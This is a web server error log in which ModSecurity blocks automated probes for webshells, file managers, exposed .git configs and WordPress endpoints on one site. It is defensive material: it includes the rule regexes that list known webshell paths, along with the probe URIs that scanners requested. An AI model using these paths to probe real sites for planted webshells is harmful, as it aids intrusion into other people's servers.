[Sat Nov 22 05:57:48.687831 2025] [:error] [pid 25856:tid 25881] [client 172.161.73.78:45623] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aSDgXBsTP0wy94zKUvG1-QAAARc"]
[Sat Nov 22 05:57:50.207345 2025] [:error] [pid 53566:tid 53588] [client 172.161.73.78:60482] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "aSDgXsbSHDBkRbwMbd4_pwAAANQ"]
[Sat Nov 22 05:57:51.362509 2025] [:error] [pid 53478:tid 53513] [client 172.161.73.78:55414] [client 172.161.73.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.161.73.78, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/.well-known/pki-validation/wp-login.php"] [unique_id "aSDgXwhUYdXBbQswAdQXHAAAAEQ"]
[Sat Nov 22 05:57:51.373059 2025] [proxy_fcgi:error] [pid 53478:tid 53513] [client 172.161.73.78:55414] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:57:51.878463 2025] [:error] [pid 53478:tid 53533] [client 172.161.73.78:55414] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/wp-conflg.php/wp-content/plugins/google-seo-rank/index.php"] [unique_id "aSDgXwhUYdXBbQswAdQXHgAAAFg"]
[Sat Nov 22 05:57:52.784985 2025] [proxy_fcgi:error] [pid 53478:tid 53532] [client 172.161.73.78:62938] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:57:53.291338 2025] [:error] [pid 53478:tid 53520] [client 172.161.73.78:62938] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/index.php"] [unique_id "aSDgYQhUYdXBbQswAdQXJAAAAEs"]
[Sat Nov 22 05:57:54.623079 2025] [:error] [pid 53477:tid 53485] [client 172.161.73.78:11028] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/install.php"] [unique_id "aSDgYn7Lu30Ku9O40aLifwAAAAQ"]
[Sat Nov 22 05:58:05.686367 2025] [proxy_fcgi:error] [pid 53566:tid 53585] [client 172.161.73.78:10984] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:58:06.242189 2025] [:error] [pid 53566:tid 53578] [client 172.161.73.78:10984] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/wp-login.php"] [unique_id "aSDgbsbSHDBkRbwMbd4_1QAAAMo"]
[Sat Nov 22 05:58:08.470239 2025] [proxy_fcgi:error] [pid 25856:tid 25870] [client 172.161.73.78:10885] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:58:08.723720 2025] [:error] [pid 25856:tid 25876] [client 172.161.73.78:10885] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/alfa-rex.php"] [unique_id "aSDgcBsTP0wy94zKUvG2IgAAARI"]
[Sat Nov 22 05:58:18.413528 2025] [:error] [pid 25856:tid 25858] [client 172.161.73.78:56774] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aSDgehsTP0wy94zKUvG2QwAAAQA"]
[Sat Nov 22 05:58:19.448168 2025] [:error] [pid 53477:tid 53484] [client 172.161.73.78:59972] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-patterns/about.php"] [unique_id "aSDge37Lu30Ku9O40aLivgAAAAM"]
[Sat Nov 22 05:58:24.953891 2025] [:error] [pid 53566:tid 53576] [client 172.161.73.78:59973] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/alfa-rex.php"] [unique_id "aSDggMbSHDBkRbwMbd5ANAAAAMg"]
[Sat Nov 22 05:58:27.011910 2025] [:error] [pid 53479:tid 53542] [client 172.161.73.78:43528] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/images/stories/admin-post.php"] [unique_id "aSDgg26cicFF3Aas-oR87AAAAIY"]
[Sat Nov 22 05:58:28.932512 2025] [:error] [pid 25856:tid 25874] [client 172.161.73.78:56063] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/images/stories/admin-post.php"] [unique_id "aSDghBsTP0wy94zKUvG2dAAAARA"]
[Sat Nov 22 05:58:31.532663 2025] [:error] [pid 53478:tid 53518] [client 172.161.73.78:60001] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/images/stories/admin-post.php"] [unique_id "aSDghwhUYdXBbQswAdQXyQAAAEk"]
[Sat Nov 22 05:58:33.224695 2025] [:error] [pid 53478:tid 53526] [client 172.161.73.78:56062] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/images/stories/admin-post.php"] [unique_id "aSDgiQhUYdXBbQswAdQXywAAAFE"]
[Sat Nov 22 06:56:48.237383 2025] [proxy_fcgi:error] [pid 9547:tid 9570] [client 212.116.231.26:51984] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 06:56:48.655761 2025] [:error] [pid 9547:tid 9556] [client 212.116.231.26:51984] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aSDuMNClOR5qk7DoMeGlzwAAAUM"]
[Sat Nov 22 06:56:49.466796 2025] [:error] [pid 53566:tid 53588] [client 212.116.231.26:45488] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aSDuMcbSHDBkRbwMbd5nvAAAANQ"]
[Sat Nov 22 06:56:50.301494 2025] [:error] [pid 53479:tid 53541] [client 212.116.231.26:46036] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aSDuMm6cicFF3Aas-oShwwAAAIU"]
[Sat Nov 22 06:56:51.113634 2025] [:error] [pid 9547:tid 9572] [client 212.116.231.26:46520] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aSDuM9ClOR5qk7DoMeGmAAAAAVM"]
[Sat Nov 22 06:56:51.949614 2025] [:error] [pid 53478:tid 53510] [client 212.116.231.26:47052] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aSDuMwhUYdXBbQswAdRAdgAAAEE"]
[Sat Nov 22 06:56:53.652151 2025] [:error] [pid 53566:tid 53582] [client 212.116.231.26:47430] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/"] [unique_id "aSDuNcbSHDBkRbwMbd5oBQAAAM4"]
[Sat Nov 22 06:56:54.507245 2025] [:error] [pid 53477:tid 53489] [client 212.116.231.26:48330] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/"] [unique_id "aSDuNn7Lu30Ku9O40aIHVgAAAAg"]
[Sat Nov 22 06:56:55.342606 2025] [:error] [pid 53477:tid 53497] [client 212.116.231.26:48692] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/"] [unique_id "aSDuN37Lu30Ku9O40aIHXgAAABA"]
[Sat Nov 22 06:56:56.175648 2025] [:error] [pid 25856:tid 25880] [client 212.116.231.26:48944] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/"] [unique_id "aSDuOBsTP0wy94zKUvHoLwAAARY"]
[Sat Nov 22 06:56:56.986282 2025] [:error] [pid 25856:tid 25879] [client 212.116.231.26:49180] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/"] [unique_id "aSDuOBsTP0wy94zKUvHoQwAAARU"]
[Sat Nov 22 08:39:50.717594 2025] [proxy_fcgi:error] [pid 53479:tid 53537] [client 194.5.82.159:33529] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 08:39:50.889909 2025] [proxy_fcgi:error] [pid 53479:tid 53544] [client 194.5.82.159:33529] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 08:39:51.006812 2025] [proxy_fcgi:error] [pid 53479:tid 53536] [client 194.5.82.159:33529] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 08:39:51.114009 2025] [proxy_fcgi:error] [pid 53479:tid 53552] [client 194.5.82.159:33529] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 08:39:51.237151 2025] [proxy_fcgi:error] [pid 53479:tid 53545] [client 194.5.82.159:33529] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 08:39:51.370431 2025] [proxy_fcgi:error] [pid 53479:tid 53538] [client 194.5.82.159:33529] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 08:39:51.476024 2025] [proxy_fcgi:error] [pid 53479:tid 53557] [client 194.5.82.159:33529] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 08:39:51.680045 2025] [proxy_fcgi:error] [pid 53479:tid 53555] [client 194.5.82.159:33529] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 08:39:51.775615 2025] [proxy_fcgi:error] [pid 53479:tid 53548] [client 194.5.82.159:33529] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 08:39:51.895642 2025] [proxy_fcgi:error] [pid 53479:tid 53542] [client 194.5.82.159:33529] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 08:39:52.133818 2025] [proxy_fcgi:error] [pid 53479:tid 53559] [client 194.5.82.159:33529] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 08:39:52.262740 2025] [proxy_fcgi:error] [pid 53479:tid 53550] [client 194.5.82.159:33529] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 08:39:52.383951 2025] [proxy_fcgi:error] [pid 53479:tid 53558] [client 194.5.82.159:33529] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 08:39:52.651096 2025] [proxy_fcgi:error] [pid 53479:tid 53553] [client 194.5.82.159:33529] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 08:39:52.771623 2025] [proxy_fcgi:error] [pid 53479:tid 53539] [client 194.5.82.159:33529] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 08:39:52.870768 2025] [proxy_fcgi:error] [pid 53479:tid 53560] [client 194.5.82.159:33529] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 08:39:52.970859 2025] [proxy_fcgi:error] [pid 53479:tid 53551] [client 194.5.82.159:33529] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 08:39:53.070138 2025] [proxy_fcgi:error] [pid 53479:tid 53537] [client 194.5.82.159:33529] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 08:39:53.204207 2025] [proxy_fcgi:error] [pid 53479:tid 53546] [client 194.5.82.159:33529] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 08:39:55.464183 2025] [:error] [pid 53479:tid 53550] [client 194.5.82.159:33529] [client 194.5.82.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aSEGW26cicFF3Aas-oTBXwAAAI4"]
[Sat Nov 22 08:39:56.173413 2025] [:error] [pid 25856:tid 25870] [client 194.5.82.130:21927] [client 194.5.82.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aSEGXBsTP0wy94zKUvEQCAAAAQw"]
[Sat Nov 22 08:39:57.073319 2025] [proxy_fcgi:error] [pid 25856:tid 25882] [client 194.5.82.128:50433] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 08:39:57.484666 2025] [:error] [pid 25856:tid 25858] [client 194.5.82.128:50433] [client 194.5.82.128] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aSEGXRsTP0wy94zKUvEQEgAAAQA"]
[Sat Nov 22 08:39:57.934092 2025] [proxy_fcgi:error] [pid 53477:tid 53501] [client 194.5.82.127:44871] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 08:39:58.080011 2025] [proxy_fcgi:error] [pid 53477:tid 53498] [client 194.5.82.127:44871] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 08:39:58.174361 2025] [:error] [pid 53477:tid 53486] [client 194.5.82.127:44871] [client 194.5.82.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aSEGXn7Lu30Ku9O40aImPwAAAAU"]
[Sat Nov 22 08:39:58.523711 2025] [proxy_fcgi:error] [pid 25856:tid 25881] [client 194.5.82.152:52341] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 08:39:59.196513 2025] [:error] [pid 25856:tid 25859] [client 194.5.82.152:52341] [client 194.5.82.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aSEGXxsTP0wy94zKUvEQHQAAAQE"]
[Sat Nov 22 08:39:59.633843 2025] [:error] [pid 53478:tid 53524] [client 194.5.82.153:41131] [client 194.5.82.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aSEGXwhUYdXBbQswAdRhPwAAAE8"]
[Sat Nov 22 08:39:59.834083 2025] [:error] [pid 25856:tid 25879] [client 194.5.82.120:64895] [client 194.5.82.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aSEGXxsTP0wy94zKUvEQIAAAARU"]
[Sat Nov 22 10:45:32.359807 2025] [autoindex:error] [pid 53478:tid 53526] [client 139.59.37.180:61933] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Nov 22 22:33:54.638169 2025] [proxy_fcgi:error] [pid 9547:tid 9575] [client 167.71.203.246:53438] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 00:21:18.101531 2025] [:error] [pid 53479:tid 53557] [client 36.85.222.71:18427] [client 36.85.222.71] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.85.222.71, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aSHi_m6cicFF3Aas-oT5iAAAAJU"]
[Sun Nov 23 00:21:18.116368 2025] [proxy_fcgi:error] [pid 53479:tid 53557] [client 36.85.222.71:18427] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 00:59:01.991343 2025] [:error] [pid 39942:tid 40015] [client 144.172.112.234:33686] [client 144.172.112.234] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aSHr1aNupsOsQf9D2gxNnAAAAVQ"]
[Sun Nov 23 01:25:48.825072 2025] [:error] [pid 39713:tid 39729] [client 216.126.225.91:33012] [client 216.126.225.91] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aSHyHEUgrb325CIAjPqVowAAAAg"]
[Sun Nov 23 08:56:43.251174 2025] [:error] [pid 38824:tid 38850] [client 85.203.21.192:56887] [client 85.203.21.192] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/advanced-product-fields-for-woocommerce/db.php"] [unique_id "aSJby08WZjXLvbHTHPcMKwAAANc"]
[Sun Nov 23 08:56:43.472362 2025] [:error] [pid 38739:tid 38790] [client 85.203.21.228:40803] [client 85.203.21.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/so-pinyin-slugs/inc/main_json.php"] [unique_id "aSJbywdvEgJm2n2cDmpkIQAAAFU"]
[Sun Nov 23 08:56:43.661491 2025] [:error] [pid 38739:tid 38786] [client 85.203.21.176:49119] [client 85.203.21.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/3PJcpMFsD8B.php"] [unique_id "aSJbywdvEgJm2n2cDmpkIgAAAFE"]
[Sun Nov 23 08:56:46.930139 2025] [:error] [pid 44652:tid 44708] [client 85.203.21.228:51091] [client 85.203.21.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/5PJcpMFsD8B.php"] [unique_id "aSJbztiQFwsyXQDhwyANlwAAAQI"]
[Sun Nov 23 08:56:47.180499 2025] [:error] [pid 38738:tid 38765] [client 85.203.21.238:61881] [client 85.203.21.238] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/image/5PJcpMFsD8B.php"] [unique_id "aSJbzwytc6TL9XavPmMajQAAABc"]
[Sun Nov 23 08:56:47.483920 2025] [:error] [pid 38738:tid 38743] [client 85.203.21.161:45389] [client 85.203.21.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/export.php"] [unique_id "aSJbzwytc6TL9XavPmMajgAAAAE"]
[Sun Nov 23 08:56:47.726497 2025] [:error] [pid 44652:tid 44707] [client 85.203.21.170:62569] [client 85.203.21.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/network_xo.php"] [unique_id "aSJbz9iQFwsyXQDhwyANmwAAAQE"]
[Sun Nov 23 08:56:47.949401 2025] [:error] [pid 38738:tid 38744] [client 85.203.21.190:44499] [client 85.203.21.190] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "aSJbzwytc6TL9XavPmMakQAAAAI"]
